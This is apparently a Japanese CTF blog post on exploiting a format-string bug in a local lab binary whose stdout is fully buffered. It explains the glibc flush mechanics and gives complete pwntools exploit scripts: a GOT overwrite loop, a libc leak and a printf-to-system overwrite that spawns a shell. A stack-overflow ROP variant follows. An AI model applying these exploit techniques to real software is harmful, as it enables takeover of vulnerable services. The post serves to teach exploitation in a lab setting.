標準出力がFully Bufferedな環境の対応
題名通りで困ったので、書き残しておきます。
サマリ
- Fully Bufferedのバッファサイズはデフォルトで0x1000。これを超えると出力得られる。
- exploitのときに出力が0x1001になるよう増やす。例えばバグがfsbなら
バイト入力したあと、
%{0x1001-ここまでのトータルの出力バイト数}c
を入れる。 - 以降は1ずれているので、0x1000文字出すようにすると1つずれた状態で出力が得られる。
recv(0x1000)
は時間で勝手に受信をやめるので、recvrepeat(X)
を利用して少し待つと良い。- その他、出力が0x1000を超えるまで繰り返す、既知アドレスに決まったサイズの文字列を埋めて表示する。
- やってるときに気づいたが新しいgccは
libc_csu_init
を生成しなくなったみたい。RIPpop rdi
.
テスト環境はこちら。
前提
Linux環境で使われている標準出力や入力は3種類のバッファの方法があります。
- フルバッファリング: バッファを利用し、バッファがいっぱいになったらデータを出す。
- ラインバッファリング: バッファを利用し、改行文字に反応してデータを出す。
- バッファリングなし: バッファをしない。
このうちCTF環境でよく使われるのはバッファリングなしです。 この設定のおかげで、インタラクティブにやり取りをするときに余計なことを考えずに済んでいます。
では、上記のバッファリングが切られていなかった場合は、どのようなことを考えないといけないでしょうか。
Fully Bufferedな環境の課題
例として、以下のようなバイナリを考えます。コンパイル設定はnx
, partial relro
, no-pie
です。
setvbuf
などをも書かないことで、極力小さなmain
を作りたい気持ちが伝わってきます。
#include<stdio.h>
#include<unistd.h>
int main() {
char buf[0x100];
read(0, buf, 0x100);
printf(buf);
exit(0);
}
fsbを利用してgotを書き換えてループを作り、適当にリークして書き換えるなりropするなりすれば良いでしょう、と方針が立ちます。
とりあえずループを作ってリークをもらってみます。exit
をmain
に変えて、リークします。
from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1', 31337)
elf = ELF("./chal")
def aaw(where, what, leng=6):
payload = b''
offset = 0
for i in range(leng):
c = ((what >> (i * 8)) - offset) % 0x100
if c == 0:
c = 0x100
payload += f"%{c}c%{i+16}$hhn".encode()
offset += c
payload = payload.ljust(0x50, b'\x00')
for i in range(leng):
payload += p64(where + i)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
aaw(elf.got.exit, elf.sym.main)
r.send(b'%p'.ljust(0x100, b'\x00'))
r.interactive()
ところがうんともすんとも言いません。
$ python3 test.py
[+] Opening connection to 127.0.0.1 on port 31337: Done
[*] '/home/jt/ctf/fullybuffered/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] Sent 0x100 bytes:
00000000 25 31 31 38 63 25 31 36 24 68 68 6e 25 31 35 35 │%118│c%16│$hhn│%155│
00000010 63 25 31 37 24 68 68 6e 25 34 37 63 25 31 38 24 │c%17│$hhn│%47c│%18$│
00000020 68 68 6e 25 31 39 32 63 25 31 39 24 68 68 6e 25 │hhn%│192c│%19$│hhn%│
00000030 32 35 36 63 25 32 30 24 68 68 6e 25 32 35 36 63 │256c│%20$│hhn%│256c│
00000040 25 32 31 24 68 68 6e 00 00 00 00 00 00 00 00 00 │%21$│hhn·│····│····│
00000050 28 40 40 00 00 00 00 00 29 40 40 00 00 00 00 00 │(@@·│····│)@@·│····│
00000060 2a 40 40 00 00 00 00 00 2b 40 40 00 00 00 00 00 │*@@·│····│+@@·│····│
00000070 2c 40 40 00 00 00 00 00 2d 40 40 00 00 00 00 00 │,@@·│····│-@@·│····│
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
[DEBUG] Sent 0x100 bytes:
00000000 25 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │%p··│····│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
[*] Switching to interactive mode
$ %p
[DEBUG] Sent 0x3 bytes:
b'%p\n'
$
さてどうしましょう。というのが今回の課題です。
no-pie
なので、リークレスで進みきれそうな気がしないでもないですが、せっかくなので今回は仕組みを解き明かしてリークしてもらいます
方針
まずはリークが出力されるときは以下のような順で呼ばれています。
__printf
__vfprintf_internal
printf_positional
_IO_new_file_overflow
_IO_new_do_write
new_do_write
_IO_new_file_write
_IO_file_write
バッファが絡んで出し渋るところは_IO_new_file_overflow
あたりでしょうか。周辺省略しますが、gdbで追うと、以下の場所から出力されているようです。
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
_IO_do_flush(_f)
はマクロで定義されています。
mode
の値だけ見てwrite関数を切り替えているようです。今回負の値ですので普通に_IO_do_write
が呼ばれます。
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
_IO_do_write
から下は素直にwriteに行って表示されます。
まとめると、要するにf->_IO_write_ptr == f->_IO_buf_end
となれば出力されていそうです。
注意点としては、_IO_new_file_overflow
に入った時点で、f->_IO_write_ptr == f->_IO_buf_end
が成り立っている必要があるということです。
以下の例だと、開始点が0x1bc32a0で、_IO_buf_end
が0x1bc42a0なので、サイズは0x1001となります。以下は0x1000文字入れた時点でのstdoutです。この状態ではまだ出力が得られていません。*f->_IO_write_ptr++ = ch;
が効いて、ちょうど_IO_buf_end
と_IO_write_ptr
が並んでいます。
gef➤ p *stdout
$1 = {
_flags = 0xfbad2884,
_IO_read_ptr = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
_IO_read_end = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
_IO_read_base = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
_IO_write_base = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
_IO_write_ptr = 0x1bc42a0 "",
_IO_write_end = 0x1bc42a0 "",
_IO_buf_base = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
_IO_buf_end = 0x1bc42a0 "",
以下がその後1文字入れた状態です。flushが動作したあと、ポインタが_IO_write_base
に戻り、0x1bc42a0に1文字入って、_IO_write_ptr
が1つ進んでいます。
gef➤ p *stdout
$2 = {
_flags = 0xfbad2884,
_IO_read_ptr = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
_IO_read_end = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
_IO_read_base = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
_IO_write_base = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
_IO_write_ptr = 0x1bc32a1 ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
_IO_write_end = 0x1bc42a0 "",
_IO_buf_base = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
_IO_buf_end = 0x1bc42a0 "",
ということで0x1001文字出力させることで、バッファを吐かせることができます。
以上がFully Bufferedな環境での方針になります。
実装
fsbペイロードの最後にpayload += f"%{0x1000-total+1}c.encode()
を加えることで、ちょうど0x1001文字出るように調整します。一度だけなら計算せずに適当に出せばよいですが、何度かループしそうなのできれいに出力してほしいためです。
また出力を受け取るときはrecv(0x1000)
としていましたが、サーバに接続したときなどでうまく受信できないときがありましたのでrecvrepeat
を使って対策しています。ローカルだと問題ないと思います。
aarも合わせて実装します。1回目にループを作成するため、0x1001バイトを先に送るので、以降は0x1000バイトを送ると出力されます。(すべて0x1001バイトでも出力されますが、毎回ずれるバイトが増えるので面倒です。)
得られる出力は1つ多く出るので、最初の文字を捨てて受け取ります。
from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1', 31337)
elf = ELF("./chal")
TIME = 0.8
def aaw(where, what, leng=6):
total = 0
payload = b''
offset = 0
for i in range(leng):
c = ((what >> (i * 8)) - offset) % 0x100
if c == 0:
c = 0x100
payload += f"%{c}c%{i+16}$hhn".encode()
offset += c
total += c
payload += f"%{0x1000-total+1}c".encode()
payload = payload.ljust(0x50, b'\x00')
for i in range(leng):
payload += p64(where + i)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
ret = r.recvrepeat(TIME)
assert(len(ret) == 0x1000)
def aar(where):
addrlen = len(p64(where).strip(b'\x00'))
payload = b''
# mark --> 2
# leak --> 6
# padd --> 4
payload += f"%8$s||%{0x1000-(2+6+4+addrlen)}c".encode()
assert len(payload) < 0x10
payload = payload.ljust(0x10, b'a')
payload += p64(where)
r.send(payload)
ret = r.recvrepeat(TIME)
assert(len(ret) == 0x1000)
return ret
aaw(elf.got.exit, elf.sym.main)
ret = aar(elf.got.printf)
leak = u64(ret[1:].split(b'||')[0].ljust(8, b'\x00'))
print(f'leak:{leak:x}')
r.interactive()
000002f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 40 │ │ │ │ @│
00000300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000003f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 25 │ │ │ │ %│
00000400 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00001000
[DEBUG] Sent 0x28 bytes:
00000000 25 31 30 24 73 7c 7c 25 34 30 38 39 63 61 61 61 │%10$│s||%│4089│caaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000020 18 40 40 00 00 00 00 00 │·@@·│····│
00000028
[DEBUG] Received 0x1000 bytes:
00000000 24 70 97 c0 66 ba 7f 7c 7c 20 20 20 20 20 20 20 │$p··│f··|│| │ │
00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00001000
leak:7fba66c09770
[*] Switching to interactive mode
$
無事出てきてくれました。あとは好きに書き込めばおしまいです。ここではgotを差し替えてみます。(正確には初回以降のaawも0x1000-total
でよいが、そもそも出力もいらないので数えなくても良い)
from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1', 31337)
elf = ELF("./chal")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
TIME = 0.8
def aaw(where, what, leng=6):
total = 0
payload = b''
offset = 0
for i in range(leng):
c = ((what >> (i * 8)) - offset) % 0x100
if c == 0:
c = 0x100
payload += f"%{c}c%{i+16}$hhn".encode()
offset += c
total += c
payload += f"%{0x1000-total+1}c".encode()
payload = payload.ljust(0x50, b'\x00')
for i in range(leng):
payload += p64(where + i)
payload = payload.ljust(0x100, b'\x00')
r.send(payload)
ret = r.recvrepeat(TIME)
assert(len(ret) == 0x1000)
def aar(where):
addrlen = len(p64(where).strip(b'\x00'))
payload = b''
# mark --> 2
# leak --> 6
# padd --> 4
payload += f"%8$s||%{0x1000-(2+6+4+addrlen)}c".encode()
assert len(payload) < 0x10
payload = payload.ljust(0x10, b'a')
payload += p64(where)
r.send(payload)
ret = r.recvrepeat(TIME)
assert(len(ret) == 0x1000)
return ret
aaw(elf.got.exit, elf.sym.main)
ret = aar(elf.got.printf)
leak = u64(ret[1:].split(b'||')[0].ljust(8, b'\x00'))
print(f'leak: {leak:x}')
libc.address = leak - libc.sym.printf
print(f'base: {libc.address:x}')
aaw(elf.got.printf, libc.sym.system)
r.sendline(b"/bin/sh\x00")
r.interactive()
もとの問題とスクリプトはここにあります。gotではなくROPを選択したようですが、やりたいことは同じです。
おまけ:Stack BoFの場合
リークが欲しい場合、アドレスを固定のオフセットに書き込む都合で、出力の文字数を伸ばせないため少し面倒です。PIEが有効でないようなケースでは、文字列を書いて、表示してしまうのが良いように思います。
#include<stdio.h>
int main(){
char buf[3];
gets(buf);
puts(buf);
return 0;
}
poprdi, bss, elf.plt.gets, poprdi, bss, elf.plt.puts, poprdi, elf.got.puts, elf.plt.puts, elf.sym.main
というropを作って、文字列を0x1001文字埋めると良いです。今回はリークがほしいだけなので適当な数を入れて、値を貰えればOKなので気楽に書けば良いでしょう。書けるところが足りない場合は複数回表示すればよいです。(0x800文字書いて2回表示するなど)
何らか文字列が出せるなら、それを繰り返せばよいです。あまり繰り返し回数が多くなると、スタックが枯渇する可能性があるので注意です。
これも手元でも試そうとしましたが、検証環境のgcc 11.2.0-19ubuntu1
ではlibc_csu_init
を生成しないため、pop rdi
が存在しておらず一旦詰んだのでやめます。こういう設定の問題を解いたときのスクリプトを参考までに上げていますので、参照ください。(ここ)